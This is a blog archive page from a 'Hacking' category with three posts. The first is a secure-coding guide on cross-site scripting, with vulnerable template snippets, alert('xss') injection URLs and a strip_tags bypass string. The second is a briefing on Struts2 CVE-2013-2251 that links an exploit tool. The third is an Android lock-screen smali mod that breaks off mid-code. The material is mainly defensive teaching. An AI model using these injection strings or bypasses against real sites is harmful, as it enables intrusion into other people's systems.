Unfortunately, testing for XSS is not a simple proposition, even with an automated scanner. Some browsers may defend you from simple XSS attacks, leading you to believe the site is safe — but users with other browsers will be vulnerable. (And it is impossible for the browser to correctly stop all XSS attacks.) XSS can happen in many places and contexts. The inputs that create XSS in a tag content context will be different from those that work in an attribute, event handler, or script context. Different browsers interpret malformed HTML differently, and tricks of encoding and obfuscation may be used to bypass a variety of filters. The XSS Cheat Sheet hosted at ha.ckers.org demonstrates dozens of variants on XSS attacks.

XSS also comes in two variants: reflected XSS, demonstrated above, and persistent or stored XSS. Stored XSS happens when data enters an application in one location and the attack payload is stored and displayed by the system somewhere else. This might happen in a bulletin board application, or web-based news or email archives. Any application that stores user input and later displays it to other users can potentially be vulnerable to stored XSS attacks.

It should be apparent that testing even a small web application on the most popular browsers can require many thousands of test cases. XSS is an example of why an application cannot be tested into being secure — it must be engineered to be secure. Strong input filtering and output encoding, universally applied and verified through careful code review, is the best solution for preventing XSS.

For more information on this attack in general, see the following articles:


How do I protect my application?



Apex and Visualforce Applications

The Force.com platform provides several anti-XSS defenses. For example, we have implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated.

However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections explain where protection does and does not exist.

Existing Protection

All standard Visualforce components (tags of the form <apex:...>) have anti-XSS filters in place. For example, the following code would normally be vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user. But the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags will be converted to their literal form. For example, the < character will be converted to &lt; so that a literal < will display on the user’s screen.

1<apex:outputText>
2{!$CurrentPage.parameters.userInput}
3</apex:outputText>

Disabling escape on Visualforce tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following code would be vulnerable to XSS attacks:

1<apex:outputText escape="false"
2value="{!$CurrentPage.parameters.userInput}" />

Programming Constructs That Are Not Protected From XSS

The following mechanisms do not have built-in XSS protections and you should take extra care when using these tags and objects. The reason is simply because these items were intended to allow the developer to customize the page by inserting script commands. It would not make sense to include anti-XSS filters on commands that are intentionally added to a page.

S-Controls and Custom JavaScript

If you write your own JavaScript or S-controls, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript:

1<script>
2var foo = location.search;
3document.write(foo);
4</script>
5 
6<apex:includeScript>

The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases be very careful to validate that the content is sanitized and does not include user-supplied data. For example, the following snippet is extremely vulnerable as it is including user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other web site.

1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

S-Control Template and Formula Tags

S-Controls give the developer direct access to the HTML page itself and includes an array of tags that can be used to insert data into the pages. As described above, S-Controls do not use any built-in XSS protections. When using the template and formula tags, all output is unfiltered and must be validated by the developer.

The general syntax of these tags is: {!FUNCTION()} or {!$OBJECT.ATTRIBUTE}.

For example, if a developer wanted to include a user’s session ID and in a link, they could create the link using the following syntax:

1<a
2href=”<a rel="nofollow" class="external free" href="http://example.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}”">http://example.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}”</a>>Go
3to portal</a>

Which would render output similar to

1<a
2href="<a rel="nofollow" class="external free" href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaaSlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com/services/Soap/u/13.0/4f0900D30000000Jsbi">http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaaSlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com/services/Soap/u/13.0/4f0900D30000000Jsbi</a>">Go
3to portal</a>

Formula expressions can be function calls or include information about platform objects, a user’s environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (i.e. potentially hostile or editable) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters:

1<html><head><title>{!$Request.title}</title></head><body>Hello
2world!</body></html>

This will cause the server to pull the title parameter from the request and embed it into the page. So, the request

would produce the rendered output

1<html><head><title>Hola</title></head><body>Hello
2world!</body></html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request

1<a rel="nofollow" class="external free" href="http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E">http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E</a>

results in the output

1<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
2world!</body></html>

The standard mechanism to do server-side escaping is through the use of the JSENCODE, HTMLENCODE, JSINHTMLENCODE, and URLENCODE functions or the traditional SUBSTITUTE formula tag. Given the placement of the {!$Request.*} expression in the example, the above attack could be prevented by using the following nested HTMLENCODE calls:

1<html>
2<head>
3<title>
4{!HTMLENCODE($Request.title)}
5</title>
6</head>
7<body>Hello world!</body>
8</html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:

1<script>var ret = "{!$Request.retURL}";</script>

would require that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it’s likely going to be used in a link. Otherwise, the request

1<a rel="nofollow" class="external free" href="http://example.com/demo/redirect.html?retURL=foo%22%3Balert('xss')%3B%2F%2F">http://example.com/demo/redirect.html?retURL=foo%22%3Balert('xss')%3B%2F%2F</a>

would result in

1<script>var ret = "foo";alert('xss');//”;</script>

Additionally, the ret variable may need additional client-side escaping later in the page if it is used in a way which may cause included HTML control characters to be interpreted. Examples of correct usage are below:

1<script>
2     // Encode for URL
3     var ret = "{!URLENCODE($Request.retURL)}";
4     window.location.href = ret;
5</script>


1<script>
2     // Encode for JS variable that is later used in HTML operation
3     var title = "{!JSINHTMLENCODE($Request.title)}";
4     document.getElementById('titleHeader').innerHTML = title;
5</script


1<script>
2     // Standard JSENCODE to embed in JS variable not later used in HTML
3     var pageNum = {!JSENCODE($Request.PageNumber)};
4</script>


Formula tags can also be used to include platform object data. Although the data is taken directly from the user’s org, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels.) While these types of attacks would need to be performed by users within the same organization, they would undermine the organization’s user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources, which may not have been screened for malicious content.


General Guidance

Protecting your application from XSS risks requires a two-layered strategy: input filtering and output filtering and encoding.

The goal of input filtering is to constrain inputs to their expected format and to render any dangerous input harmless by removing dangerous characters. It is always safer to constrain inputs to known-good values than to try to filter dangerous characters. A filter that removes the characters <, >, and " in a user nickname field may prevent XSS attacks when the content is inserted into a page in the context of an HTML element, but what if the input is used in the context of a <script> block, such as the script used to calculate site analytics? In that case, an exploit may not need to use those characters, and filtering on characters like parentheses, periods and semicolons may be necessary. A simple regular expression that only allowed alphabetic characters would prevent both attacks and greatly reduces the likelihood of missing characters that are dangerous in other contexts.

Remember that all user input must be filtered. GET and POST form parameters are not the only place that malicious data may originate. No part of an HTTP request can be trusted. XSS payloads might originate in a user’s cookie or other headers like Referer. Treat all input as suspicious.

Output encoding is the second, and arguably more important, defense. Output encoding refers to rewriting data such that it cannot “break out” of the structural context into which it is inserted. For most scenarios, HTML encoding will be the most appropriate; that is, encoding the characters <, > and " into their HTML entity equivalents: &lt;, &gt;, and &quot;. Nearly all web frameworks will have utility classes or methods for performing this encoding, and using a page templating or a DOM-aware framework that automatically encodes all output, by default, is one of the best defenses against XSS.

Note that ' is the XML entity for the apostrophe and is not a valid HTML entity! In an HTML context you will need to use the Unicode escape sequence '.

Inserting text into a JavaScript context is more difficult and should only be done inside of a variable context that will be used strictly as data. JavaScript uses a backslash encoding similar to C and C++. Be cautious when inserting data into a script variable: escape single and double quotes (and the backslash character itself) to prevent injection. Prefer the Unicode encoding format, \udddd (4 hex digits: dddd), to prevent any browser parsing problems.

Cascading style sheets (CSS) are also a potential location for XSS attacks and so should be encoded carefully or user-specified style attributes disallowed.

Output filtering is similar to input filtering, and should be applied in contexts when output encoding may not be adequate. User data inserted directly into a <script> context, for example, cannot be encoded in a way which makes it safe. The only solution in such a situation is to constrain the data to ensure they do not contain any dangerous characters such as parentheses, periods, and single or double quotes.

Why is output encoding and filtering important if we have already performed input filtering? Many applications do not exclusively display input taken from web forms. Dangerous data might have been imported from a database or spreadsheet, originate from an email message or some other source where input filtering has not been applied. In some cases, data that meet the requirements of an input filter may nevertheless be unsafe when used in a particular output context.

If your application allows users to include HTML tags by design, you must exercise great caution in what tags are allowed. The following tags may allow injection of script code and should not be allowed:

  • <applet>
  • <body>
  • <embed>
  • <frame>
  • <script>
  • <frameset>
  • <html>
  • <iframe>
  • <img>
  • <style>
  • <layer>
  • <link>
  • <ilayer>
  • <meta>
  • <object>

Be aware that the above list cannot be exhaustive. Similarly, there is no complete list of JavaScript event handler names (although see this page on Quirksmode), so there can be no perfect list of bad HTML element attribute names.

Instead, it makes more sense to create a well-defined known-good subset of HTML elements and attributes. Using your programming language’s HTML or XML parsing library, create an HTML input handling routine that throws away all HTML elements and attributes not on the known-good list. This way, you can still allow a wide range of text formatting options without taking on unnecessary XSS risk. Creating such an input validator is usually around 100 lines of code in a language like Python or PHP; it might be more in Java but is still very tractable.

Output filtering and encoding for URLs including user data requires some special considerations. If you return user-controlled data as part of a URL, URL encode that data. (URL encoding translates space to ‘+’ and uses %xx hex encoding for unsafe or non-ASCII-printable characters.) If you allow users to specify an entire URL to link to arbitrary content, ensure that the scheme of the URL is constrained to valid types (e.g. http:, https:, mailto: and possibly ftp:). Allowing users to specify other URL schemes may lead to XSS, such as with the javascript: and data: schemes.

When possible, set the HttpOnly attribute on your cookies. This flag tells the browser to reveal the cookie only over HTTP or HTTPS connections, but to have document.cookie evaluate to a blank string when JavaScript code tries to read it. (Some browsers do still let JavaScript code overwrite or append to document.cookie, however.) If your application does require the ability for JavaScript to read the cookie, then you won’t be able to set HttpOnly. Otherwise, you might as well set this flag.

Note that HttpOnly is not a defense against XSS, it is only a way to briefly slow down attackers exploiting XSS with the simplest possible attack payloads. It is not a bug or vulnerability for the HttpOnly flag to be absent.

Stored XSS Resulting from Arbitrary User Uploaded Content

Applications such as Content Management, Email Marketing, etc. may need to allow legitimate users to create and/or upload custom HTML, Javascript or files. This feature could be misused to launch XSS attacks. For instance, a lower privileged user could attack an administrator by creating a malicious HTML file that steals session cookies. The recommended protection is to serve such arbitrary content from a separate domain outside of the session cookie's scope.

Let’s say cookies are scoped to https://app.site.com. Even if customers can upload arbitrary content, you can always serve the content from an alternate domain that is outside of the scoping of any trusted cookies (session cookies and other sensitive information). As an example, pages on https://app.site.com would reference customer-uploaded HTML templates as IFRAMES using a link to https://content.site.com/cust1/templates?templId=13&auth=someRandomAuthenticationToken

The authentication token would substitute for the session cookie since sessions scoped to app.site.com would not be sent to content.site.com. If the data being stored is sensitive, a one time use or short lived token should be used. This is the method that salesforce.com uses for our content product.

HTTP Response Splitting

HTTP response splitting is a vulnerability closely related to XSS, and for which the same defensive strategies apply. Response splitting occurs when user data is inserted into an HTTP header returned to the client. Instead of inserting malicious script, the attack is to insert additional newline characters. Because headers and the response body are delimited by newlines in HTTP, this allows the attacker to insert their own headers and even construct their own page body (which might have an XSS payload inside). To prevent HTTP response splitting, filter ‘\n’ and ‘\r’ from any output used in an HTTP header.


ASP.NET

ASP.NET provides several built-in mechanisms to help prevent XSS, and Microsoft supplies several free tools for identifiying and preventing XSS in sites built with .NET technology.

An excellent general discussion of preventing XSS in ASP.NET 1.1 and 2.0 can be found at the Microsoft Patterns & Practices site:

By default, ASP.NET enables request validation on all pages, to prevent accepting of input containing unencoded HTML. (For more details see http://www.asp.net/learn/whitepapers/request-validation/.) Verify in your Machine.config and Web.config that you have not disabled request validation. Identify and correct any pages that may have disabled it individually by searching for the ValidateRequest request attribute in the page declaration tag. If this attribute is not present, it defaults to true.

Input Validation

For server controls in ASP.NET, it is simple to add server-side input validation using <asp:RegularExpressionValidator>.

If you are not using server controls, you can use the Regex class in the System.Text.RegularExpressions namespace or use other supporting classes for validation.

For example regular expressions and tips on other validation routines for numbers, dates, and URL strings, see Microsoft Patterns & Practices: “How To: Protect from Injection Attacks in ASP.NET”.

Output Filtering & Encoding

The System.Web.HttpUtility class provides convenient methods, HtmlEncode and UrlEncode for escaping output to pages. These methods are safe, but follow a “blacklist” approach that encodes only a few characters known to be dangerous. Microsoft also makes available the AntiXSS Library that follows a more restrictive approach, encoding all characters not in an extensive, internationalized whitelist. You can get more information and download AntiXSS here:

Tools and Testing

Microsoft provides a free static analysis tool, CAT.NET. CAT.NET is a snap-in to Visual Studio that helps identify XSS as well as several other classes of security flaw. Version 1 of the tool is available as a Community Technical Preview from the Microsoft download site:


Java

J2EE web applications have perhaps the greatest diversity of frameworks available for handling user input and creating pages. Several strong, all-purpose libraries are available, but it is important to understand what your particular platform provides.

Input Filtering

Take advantage of built-in framework tools to validate input as it is being used to generate business or model objects. In Struts, input validation rules can be defined in XML using the Validator Plugin in your struts-config.xml:

1<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
2    <set-property property="pathnames" value="/WEB-INF/validator-rules.xml"/>
3</plug-in>

Or you can build programmatic validation directly into your form beans with regular expressions.

Learn more about Java regular expressions here:

The Spring Framework also provides utilities for building automatic validation into data binding. You can implement the org.springframework.validation.Validator interface with the help of Spring’s ValidationUtils class to protect your business objects. Get more information here:

A more generic approach, applicable to any kind of Java object, is presented by the OVal object validation framework. OVal allows constraints on objects to be declared with annotations, through POJOs or in XML, and expressing custom constraints as Java classes or in a variety of scripting languages. The system is quite powerful, implements Programming by Contract features using AspectJ, and provides some built-in support for frameworks like Spring. Learn more about OVal at:


Output Filtering and Encoding

JSTL tags such as <c:out> have the excapeXml attribute set to true by default, This default behavior ensures that HTML special characters are entity-encoded and prevents many XSS attacks. If any tags in your application set escapeXml="false" (such as for outputting the Japanese yen symbol) you need to apply some other escaping strategy. For JSF, the tag attribute is escape, and is also set to true by default for <h:outputText> and <h:outputFormat>.

Other page generation systems do not always escape output by default. Freemarker is one example. All application data included in a Freemarker template should be surrounded with an <#escape> directive to do output encoding (e.g. <#escape x as x?html>) or by manually adding ?html (or ?js_string for JavaScript contexts) to each expression (e.g. ${username?html}).

Custom JSP tags or direct inclusion of user data variables with JSP expressions (e.g. <%= request.getHeader("HTTP_REFERER") %>) or scriptlets (e.g. <% out.println(request.getHeader("HTTP_REFERER") %>) should be avoided.

If you are using a custom page-generation system, one that does not provide output escaping mechanisms, or building directly with scriptlets, there are several output encoding libraries available. The OWASP Enterprise Security API for Java is a mature project that offers a variety of security services to J2EE applications. The org.owasp.esapi.codecs package provides classes for encoding output springs safely for HTML, JavaScript and several other contexts. Get it here:

Other libraries to consider include the Apache Commons Lang StringEscapeUtils class or the multi-plaform Reform library from the OWASP Encoding Project.


PHP

Input Filtering

As of PHP 5.2.0, data filtering is a part of the PHP Core. The package documentation is available at:

Two types of filters can be declared: sanitization filters that strip or encode certain characters, and validation filters that can apply business logic rules to inputs. The Zend Developer Zone has a good tutorial on how to use the Filter extension, including the legacy package for earlier versions of PHP and demonstrating an example of a more complex validation using a callback:


Output Encoding

PHP provides two built-in string functions for encoding HTML output. htmlspecialchars encodes only &, ", ', <, and >, while htmlentities encodes all HTML characters with defined entities.

For bulletin-board like functionality where HTML content is intended to be included in output, the strip_tags function is also available to return a string with all HTML and PHP tags removed, but because this function is implemented with a regex that does not validate that incoming strings are well-formed HTML, partial or broken tags may be able to bypass the system. For example, the string <<b>script>alert('xss');<</b>/script> might have the <b> and </b> tags removed, leaving the vulnerable string <script>alert('xss');</script>. If you are going to rely on this function, input must be sent to an HTML validating and tidying program first. (Note that in PHP 5.2.6, strip_tags does appear to work, reducing the aforementioned attack string to alert('xss'). Does it work in your version?)

For a more comprehensive approach that combines encoding with an extensive whitelist, the multi-plaform Reform library from the OWASP Encoding Project contains PHP implementations of strong output filters for several contexts.


Ruby on Rails

Input Filtering

Older versions of Ruby on Rails used a vulnerable blacklist approach built on trying to recognize and remove tags. This suffered from vulnerabilities if applied to strings that had broken or partial HTML. For example, the string <<b>script>alert('xss');<</b>/script> would have the <b> and </b> tags removed, leaving the vulnerable string <script>alert('xss');</script>. For this reason, avoid the strip_tags and strip_links methods in favor of the updated Rails 2 method sanitize.

See the Ruby on Rails Security guide for more information:


Output Encoding

Strings written by <%= %> in rhtml templates are not escaped by default. the escapeHtml (or its shorthand, h) can be used to entity encode HTML characters, but you must be careful to do this in every location where user input is used.

For a more comprehensive approach that combines encoding with an extensive whitelist, the multi-plaform Reform library from the OWASP Encoding Project contains Ruby implementations of strong output filters for several contexts.


'Hacking' 카테고리의 다른 글

Web Vulnerable Test Sites  (0) 2013.12.02
wifi password cracker  (0) 2013.10.09
script  (0) 2013.07.24
CVE-2013-2251 Apache Struts2 Remote Shell Exploit  (1) 2013.07.19
unlock android password  (0) 2013.07.18
Posted by CEOinIRVINE
l

script

Hacking 2013. 7. 24. 01:48

'Hacking' 카테고리의 다른 글

wifi password cracker  (0) 2013.10.09
Secure Coding  (0) 2013.09.21
CVE-2013-2251 Apache Struts2 Remote Shell Exploit  (1) 2013.07.19
unlock android password  (0) 2013.07.18
salted password hashing  (0) 2013.07.11
Posted by CEOinIRVINE
l

Chinese Exploit Tool: http://www.blackxl.org/struts2-s2-016-exp-cve-2013-2251.html





July 17, 2013 is a safe operation and maintenance of many hackers sleepless nights… Struts2 risk vulnerabilities cause massive information leakage will affect countless Internet users (likely no one can escape ......) exploit vulnerabilities, hackers can initiate a remote attack , ranging from theft of website data, serious web server can obtain control over the composition and operation of information disclosure threats.

It clouds the current master of the situation: Struts vulnerability enormous impact, the affected site to electricity providers, banks, portals, government majority. And some automation, fool use tools began to appear, fill in the address server commands can be executed directly, or even directly read data off and other operations ...

The following is a National Computer Network Emergency Response Technical Team Coordination Center released on Apache Struts2 Remote Command Execution Vulnerability and open redirect high-risk high-risk vulnerabilities briefing:

The security bulletin number: CNTA-2013-0022

Recently, the center sponsored by the National Information Security Vulnerability Apache Struts sharing platform included the presence of a remote command execution vulnerability and an open redirect vulnerability (ID: CNVD-2013-28972, corresponding to the CVE-2013-2251; CNVD-2013-28979, corresponds to CVE-2013-2248). Exploited, can be initiated by remote attackers, ranging from websites to steal data, serious web server can obtain control over the composition and operation of information disclosure threats. The relevant information is as follows:

I. Analysis of Vulnerability

Struts2 is the second generation based on Model-View-Controller (MVC) model java enterprise-class web application framework. It is the WebWork and Struts communities merged product. Specific analysis is as follows:

1, Apache Struts Remote Command Execution Vulnerability

Because Apache Struts2 of action:, redirect: and redirect Action: Prefix parameter in achieving its function during the use of the Ognl expression and user submitted content to fight through the URL access Ognl expression, resulting in a malicious attacker can construct URL to execute arbitrary Java code, and then execute arbitrary commands.

2, Apache Struts open redirect vulnerabilities

Apache Struts 2DefaultActionMapper short path redirection parameters in dealing with the prefix "redirect:" or "redirect Action:" When there is an open redirect vulnerability allows remote attackers to exploit Operation "redirect:" or "redirect Action:" After the information, redirect URL to any location.

Second, the vulnerability assessment

CNVD for remote command execution vulnerability (CNVD-2013-28972) and an open redirect vulnerability (CNVD-2013-28979) is rated "high risk" due to redirect: and redirect Action: This two prefix Struts functionality enabled by default, so Apache Struts 2.3.15.1 The following versions affected by the vulnerability. The vulnerability to China in 2012 and important information systems within government departments, enterprises and institutions website pose a serious threat vulnerability (ID: CNVD-2013-25061, corresponding to the CVE-2013-1966) compared to the same technology and the affected rating releases.

Third, the proposed disposal loopholes

The vendor has released Apache Struts 2.3.15.1 to fix this security vulnerability, we recommend that Struts users time to upgrade to the latest version.


This blog is so popular, and I wanna say if you are interested in video conferencing, you can click the video conferencing or copy V2 video conference in the Google. 

'Hacking' 카테고리의 다른 글

Secure Coding  (0) 2013.09.21
script  (0) 2013.07.24
unlock android password  (0) 2013.07.18
salted password hashing  (0) 2013.07.11
Stealing saved passwords from your friend’s laptop  (0) 2013.07.11
Posted by CEOinIRVINE
l

unlock android password

Hacking 2013. 7. 18. 03:25
[MOD][HOW-TO] Quick Unlock on Pin/Password with toggle
This will allow the PIN and Password unlock screens to be unlock as soon as the correct pin/password is input without having to press the enter key to submit.

We're going to be working with the following two files:
SecSettings.apk
android.policy.jar



KEY
REMOVE what's in BLUE
ADD what's in RED



SecSettings.apk
Navigate to /res/values/strings.xml
Add the following to the end of the file
Code:
    <string name="quick_unlock_title">Quick Unlock</string>
    <string name="quick_unlock_summary">Unlock as soon as correct pin is entered</string>

Navigate to /xml/security_settings_password.xml
Code:
<?xml version="1.0" encoding="utf-8"?>
<PreferenceScreen
  xmlns:android="http://schemas.android.com/apk/res/android">
    <PreferenceScreen android:persistent="false" android:title="@string/unlock_set_unlock_launch_picker_title" android:key="unlock_set_or_change" android:summary="@string/unlock_set_unlock_mode_password" />
    <SwitchPreferenceScreen android:title="@string/dualclock_settings_title" android:key="dualclock_settings" android:summary="@string/dualclock_settings_summary" android:fragment="com.android.settings.dualclock.DualClockSetting" />
    <CheckBoxPreference android:title="@string/with_cicle_title" android:key="with_circle" android:summary="@string/with_cicle_summary" android:defaultValue="false" />
    <PreferenceScreen android:title="@string/lock_screen_options" android:key="lock_screen_options" android:summary="@string/lock_screen_options_summary" android:fragment="com.android.settings.LockScreenSettings" />
    <CheckBoxPreference android:title="@string/quick_note_title" android:key="quick_note" android:summary="@string/quick_note_summary" android:defaultValue="false" />
    <ListPreference android:persistent="false" android:entries="@array/lock_after_timeout_entries" android:title="@string/lock_after_timeout" android:key="lock_after_timeout" android:summary="@string/lock_after_timeout_summary" android:entryValues="@array/lock_after_timeout_values" />
    <CheckBoxPreference android:title="@string/lockpattern_settings_enable_power_button_instantly_locks" android:key="power_button_instantly_locks" />
    <CheckBoxPreference android:title="@string/quick_unlock_title" android:key="quick_unlock" android:summary="@string/quick_unlock_summary" />
    <PreferenceScreen android:title="@string/owner_info_settings_title" android:key="owner_info_settings" android:summary="@string/owner_info_settings_summary" android:fragment="com.android.settings.OwnerInfoSettings" />
</PreferenceScreen>


Navigate to /xml/security_settings_pin.xml
Code:
<?xml version="1.0" encoding="utf-8"?>
<PreferenceScreen
  xmlns:android="http://schemas.android.com/apk/res/android">
    <PreferenceScreen android:persistent="false" android:title="@string/unlock_set_unlock_launch_picker_title" android:key="unlock_set_or_change" android:summary="@string/unlock_set_unlock_mode_pin" />
    <SwitchPreferenceScreen android:title="@string/dualclock_settings_title" android:key="dualclock_settings" android:summary="@string/dualclock_settings_summary" android:fragment="com.android.settings.dualclock.DualClockSetting" />
    <CheckBoxPreference android:title="@string/with_cicle_title" android:key="with_circle" android:summary="@string/with_cicle_summary" android:defaultValue="false" />
    <PreferenceScreen android:title="@string/lock_screen_options" android:key="lock_screen_options" android:summary="@string/lock_screen_options_summary" android:fragment="com.android.settings.LockScreenSettings" />
    <CheckBoxPreference android:title="@string/quick_note_title" android:key="quick_note" android:summary="@string/quick_note_summary" android:defaultValue="false" />
    <ListPreference android:persistent="false" android:entries="@array/lock_after_timeout_entries" android:title="@string/lock_after_timeout" android:key="lock_after_timeout" android:summary="@string/lock_after_timeout_summary" android:entryValues="@array/lock_after_timeout_values" />
    <CheckBoxPreference android:title="@string/lockpattern_settings_enable_power_button_instantly_locks" android:key="power_button_instantly_locks" />
    <CheckBoxPreference android:title="@string/lockpattern_settings_enable_tactile_feedback_title" android:key="unlock_tactile_feedback" />
    <CheckBoxPreference android:title="@string/quick_unlock_title" android:key="quick_unlock" android:summary="@string/quick_unlock_summary" />
    <PreferenceScreen android:title="@string/owner_info_settings_title" android:key="owner_info_settings" android:summary="@string/owner_info_settings_summary" android:fragment="com.android.settings.OwnerInfoSettings" />
</PreferenceScreen>


Navigate to /smali/com/android/settings/LockscreenMenuSettings.smali
Code:
.field private mPowerButtonInstantlyLocks:Landroid/preference/CheckBoxPreference;

.field private mQuicknote:Landroid/preference/CheckBoxPreference;

.field private mQuickUnlock:Landroid/preference/CheckBoxPreference;

.field private mSignatureVerificationLevel:Landroid/preference/ListPreference;

.field private mTactileFeedback:Landroid/preference/CheckBoxPreference;


.method private createPreferenceHierarchy()Landroid/preference/PreferenceScreen;
WAIT!
WAIT!
You need to grab some ID's. Luckily they're already available so no need to compile, etc.!
There's only two.
Code:
    :cond_5
    const-string v4, "quick_note"

    invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference;

    move-result-object v4

    check-cast v4, Landroid/preference/CheckBoxPreference;

    iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    .line 203
    iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    if-eqz v4, :cond_6

    const v4, 0x7f07004f

    if-eq v2, v4, :cond_6

    .line 205
    iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->removePreference(Landroid/preference/Preference;)Z

    .line 208
    :cond_6
    const-string v4, "quick_unlock"

    invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference;

    move-result-object v4

    check-cast v4, Landroid/preference/CheckBoxPreference;

    iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    .line 203
    iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    if-eqz v4, :cond_next

    const v4, 0x7f070051    # type="xml" name="security_settings_password"

    if-eq v2, v4, :cond_next
    
    const v4, 0x7f070054    # type="xml" name="security_settings_pin"

    if-eq v2, v4, :cond_next

    .line 205
    iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->removePreference(Landroid/preference/Preference;)Z
    
    :cond_next
    const-string v4, "visiblesignature"

    invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference;

    move-result-object v4

    check-cast v4, Landroid/preference/CheckBoxPreference;

    iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference;

WAIT!
WAIT!
Did you replace those two ID's in that last section? Good. Let's continue.

.method public onPreferenceTreeClick(Landroid/preference/PreferenceScreen;Landroid/preference/PreferenceZ
Code:
:cond_8
    const-string v5, "quick_note"

    invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v5

    if-eqz v5, :cond_a

    .line 503
    invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver;

    move-result-object v5

    const-string v6, "lock_screen_quick_note"

    iget-object v7, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    invoke-virtual {v7}, Landroid/preference/CheckBoxPreference;->isChecked()Z

    move-result v7

    if-eqz v7, :cond_9

    move v3, v4

    :cond_9
    invoke-static {v5, v6, v3}, Landroid/provider/Settings$Secure;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z

    goto/16 :goto_0

    .line 504
    :cond_a
    const-string v5, "quick_unlock"

    invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v5

    if-eqz v5, :cond_next

    .line 503
    invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver;

    move-result-object v5

    const-string v6, "quick_unlock"

    iget-object v7, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference;

    invoke-virtual {v7}, Landroid/preference/CheckBoxPreference;->isChecked()Z

    move-result v7

    if-eqz v7, :cond_quick

    move v3, v4

    :cond_quick
    invoke-static {v5, v6, v3}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z

    goto/16 :goto_0

    .line 504
    :cond_next
    const-string v3, "visiblesignature"

    invoke-virtual {v3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v3

    if-eqz v3, :cond_b


.method public onResume()V
Code:
    :cond_2
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    if-eqz v1, :cond_3

    .line 438
    iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference;

    invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver;

    move-result-object v4

    const-string v5, "lock_screen_quick_note"

    invoke-static {v4, v5, v3}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I

    move-result v4

    if-eqz v4, :cond_8

    :goto_1
